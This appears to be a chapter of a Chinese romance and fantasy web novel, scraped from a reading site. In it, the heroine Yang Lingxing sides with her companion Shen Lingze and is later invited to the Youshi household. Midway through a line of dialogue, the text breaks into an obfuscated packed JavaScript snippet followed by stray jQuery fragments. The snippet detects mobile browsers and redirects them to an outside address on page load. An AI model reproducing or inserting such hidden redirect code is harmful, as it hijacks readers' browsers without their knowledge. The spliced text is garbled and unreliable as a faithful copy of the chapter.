21. 坚定选择

作品:《我在乱世当团宠

    ……


    死寂。


    震惊。


    谁都没料到翎光会突然说出这样一番离谱的话出来,杨凛星在觉得荒唐的同时,心头亦涌上一丝别样的愤怒。


    这个人,凭什么替她擅作主张?!


    她激动地想要开口为沈灵泽辩解,却听见他冷静而坚定的声音率先响起:


    “当日是杨姑娘邀我同行。除非她亲口说不再需要我,否则我绝不会离开。”


    说罢,他深邃的目光转向杨凛星。没有多余的言语,只是静静地、深深地凝视着她,像是在等待一个最终的裁决。


    杨凛星被他眼底翻涌的暗潮所吸引,那其中交织的执着与脆弱,竟让她一时间没了动作。


    唯有沈灵泽自己知道,此刻他内心正经历着怎样的煎熬。他根本不在意翎光毫不客气的驱逐,却在乎极了杨凛星会如何想。


    若她认同翎光,说出“不再需要”四字,他定会转身离去,绝不让她为难。


    若非如此,他寸步不让。


    理智告诉他,杨姑娘绝非翎光所言那般忘恩负义,可他依然渴望一个确切的、肯定的答复。


    同时也恐惧着,会听到那个他不愿接受的答案。


    万幸,他看见杨凛星朝他坚定地摇了摇头。


    不要走。


    沈灵泽紧绷的身躯瞬间松弛下来。


    既已得到她的心意,旁人的言语于他再无意义。


    玉璃气的直跺脚:“三哥!你太过分了!怎么能赶沈大哥走呢!”


    “你懂什么。”翎光冷声道,“非我族类,其心必异。谁能保证他不会对王不利?”


    “沈大哥绝不会!”


    “你怎知?等到那时就晚了!”


    两人争执不休,声浪越来越高。


    杨凛星被吵得头痛欲裂,偏偏此时她喉咙受损说不出话来,连臭骂他们一顿都做不到!


    “凛星大人根本不想让沈大哥走!”


    “你如何得知?王亲口说过吗?”


    “我就是知道!凛星大人!你……”


    玉璃的话音戛然而止。


    翎光也如同被惊雷击中般僵在原地。


    不远处,杨凛星不知何时已下床,她来到沈灵泽身侧,双手紧紧挽住他的手臂,以一种保护者的姿态将他护在身后。


    她用最直白的行动,昭示着她的选择。


    她要沈灵泽。


    -


    近几日,玉璃能清晰地感觉到,沈大哥的心情格外明媚!


    虽说沈大哥平日里也常带着温和笑意,但那多是浮于表面的礼节。如今却不同,那笑意完全是发自肺腑。


    甚至有好几次,他都隐约听见沈大哥在身旁轻笑,可待他回头看去,却只见他神色如常,仿佛那声轻笑只是自己的错觉。


    小阿璃实在弄不懂这其中的原由。


    但他晓得,沈大哥心情好,就给他买好多好吃的,所以他衷心希望沈大哥心情能够一直延续下去!


    只是……


    “沈大哥,”玉璃扯了扯沈灵泽的衣袖,小声嘟囔,“你别把我三哥那些话放在心上。都过了一千年了,他说话还是那么讨厌。”


    沈灵泽闻言轻笑,眼底不见半分阴霾:“无妨。”


    他确实未曾将翎光放在心上。那人的认可或排斥,于他而言毫无意义。


    玉璃仔细端详他神色,见确无一丝愠怒,这才放下心来。随即眼珠一转,脸上堆起甜笑,扯着沈灵泽的袖子轻轻摇晃:


    “嘿嘿,沈大哥……那,那我能不能再吃一只烧鸡呀?”


    说着还咽了咽口水。


    “不可。”沈灵泽笑容一敛,正色道,“你近日零嘴不断,当心积食。”


    “我是灵兽,不会的!”玉璃小脸顿时耷拉下来,拖长了音调央求,“就最后一只!吃完这只,我保证这个月都不再吃了,沈大哥,最好最好的沈大哥——”


    然而任他如何软磨硬泡,沈灵泽始终不为所动,只抬手轻拂开他拽着袖摆的小爪子,摇头失笑。


    二人便这般又吵又闹,又蹦又跳的回到了客栈,沈灵泽将刚抓好的药材递给玉璃,说道:“你先将这药熬上,我先去看看杨姑娘。”


    事关凛星大人,玉璃不敢耽搁,拎着药屁颠屁颠的就往后厨跑去。


    沈灵泽对着他的背影失笑摇头,转身向杨凛星歇息的客房走去。


    经过医师的精心调养,杨凛星的身体已经逐渐恢复,偶尔也能说出一些长句子来,但说完后总是咳个不停,沈灵泽坚持想要让她用文字来代替说话,可不知为何,杨凛星对此很是排斥。


    两层楼的距离,沈灵泽脸上已经在无意间漾起笑容。


    走到门口,他刚想叩门,却听见屋内传来几句沙哑的句子。


    “这一路上,他都陪在我和玉璃的身边……”


    “如果你真当我是你的主人,请你尊重我的想法……”


    “他是非常重要的伙伴……”


    话音在此时暂停。


    半晌,屋内又传来另一道低沉的嗓音:


    “是。”


    直到屋内再没有任何动静传来,沈灵泽才选择回身下楼。


    屋外听墙角,实非君子所为。


    可有些情绪来的又急又重,似乎马上就要从心口漫出,迫使他不得不去找到一个合适的宣泄口。


    正巧此时,刚把药煎上的玉璃向他走来。


    “沈大哥,凛星大人好些了吗?”他踮起脚朝楼上的房间处望了望,“你站在这儿干嘛呢?”


    “阿璃。”沈灵泽轻声唤道,“想不想吃烧鸡?”


    玉璃一怔,反应过来他说的是啥以后,疯狂点头:


    “想啊想啊!沈大哥,你——”


    “我给你买。”


    -


    在床榻上将养了将近半月,杨凛星才终于觉得自己又满血复活了起来。


    只是有几件事情,一直萦绕在她的心头,让她难以真正安下心来。


    当日情急之下,玉璃在几乎全城百姓面前化形为弓,导致这些时日望归城内流言纷起,关于女娲庙的种种传闻真假难辨。


    有人说那日是女娲娘娘显圣,亲降神罚除恶救民。也有人信誓旦旦说亲眼得见古籍中的灵兽现世,凶猛非凡。更有甚者,口口声声说望见轩辕王转世归来,手持上古神兵扫荡邪祟。


    虽皆是市井传言,唯有杨凛星一群人心中雪亮。这些看似荒诞的话语,竟与那日的真相相差无几。


    而她尚未来得及细细梳理该如何应对,便收到了有娀彩邀她过府一叙的请柬。


    “凛星大人,您要去吗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583976|187153||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?”玉璃关切地问。


    “自然要去。”杨凛星将请柬仔细叠好。


    这些时日,她始终惦记着有娀彩的状况,更牵挂那些获救女子的近况。


    沈灵泽略作沉吟,温声道:“如今城中虽众说纷纭,但十之八九皆在称颂你当日舍身救人、箭诛恶徒的义举。”


    “此去不必忧心。”


    杨凛星看向沈灵泽,展颜一笑。


    -


    令杨凛星颇感意外的是,有娀彩竟亲自乘着马车前来相迎。


    当她躬身踏入豪华的车厢,与有娀彩四目相对的那一刹那,二人竟都有种心酸落泪的冲动。


    “……姐姐。”有娀彩轻声唤道,眼眶立马就红了。


    杨凛星没有多言,只安静地坐到她身旁,轻轻握住她微凉的手,安抚般地拍了拍她的手背。


    静默良久,有娀彩才将那日以后的事娓娓道来:


    “我被接回府中后,昏睡了两日才醒。醒来才知…那时有娀府已被全城百姓围得水泄不通。”


    这件事情,杨凛星早有耳闻。


    “母亲在我昏迷时便下令彻查全府。待我醒来,有娀氏上下已处置了一百四十三人。”说到此处,有娀彩不自觉地收紧手指,将杨凛星的手握得生疼。


    她停顿片刻,待心绪稍平才继续:“为平息民愤,这些人将在月底于城北当街问斩,以正视听。”


    听到这番话,杨凛星轻轻蹙起眉头。


    她并非在为那些人的性命惋惜。那些肆意剥夺无辜女子自由、践踏他人生命的人,在她看来死不足惜,即便是死上一万次,她都不会眨一下眼睛。


    只是当街问斩,终究是血流成河。纵然大快人心,也难免在万千百姓心中投下深重的阴影。


    “姐姐……我并非怜惜他们,”有娀彩咬了咬唇,声音里带着困惑与痛楚,“我只是不明白,他们为何会做出这等事!”


    杨凛星幽幽一叹。


    这世间想不通的事太多太多。若非要追寻缘由,无非是人性深处那永无止境的贪念在作祟罢了。


    杨凛星轻声道:“这世上有你这般的好人,便就会有他们那般的坏人。你们只是碰巧生在了同一个家族,冠上了相同的姓氏。但你是你,他们是他们,你是在无需为此感到羞愧。”


    姓氏从来都只是一种手段罢了。是贵族划分血脉贵贱的界河,是男子传承命脉的锁链。


    它既能筑起认同的高墙,也能化作庇护的屋檐。它像一件华丽的外袍,有人借它彰显荣光,有人靠它遮蔽出身。但归根结底,袍子底下的人心善恶、志向高低,从来与这身外之物无关。


    在这个封建顽固的世界如此,在所谓先进文明的二十一世纪也是如此。


    杨凛星早已看开了。


    “父亲临终前,将掌家之权交予母亲暂代。这些年来……我总怨她懦弱无能,既不敢彻查此案,又屡屡阻拦我深究。”有娀彩的声音低沉下去,指尖无意识地绞着衣带,“如今才明白,她或许早已被架空,眼睁睁看着族中人作恶,却连自保都艰难……”


    她稍稍平复心绪,抬眸看向杨凛星时,眼底多了几分郑重:“此次邀你过府,实则另有一件要事。”


    有娀彩轻轻抿了抿唇,压低声音道:


    “我母亲……想单独见你一面。”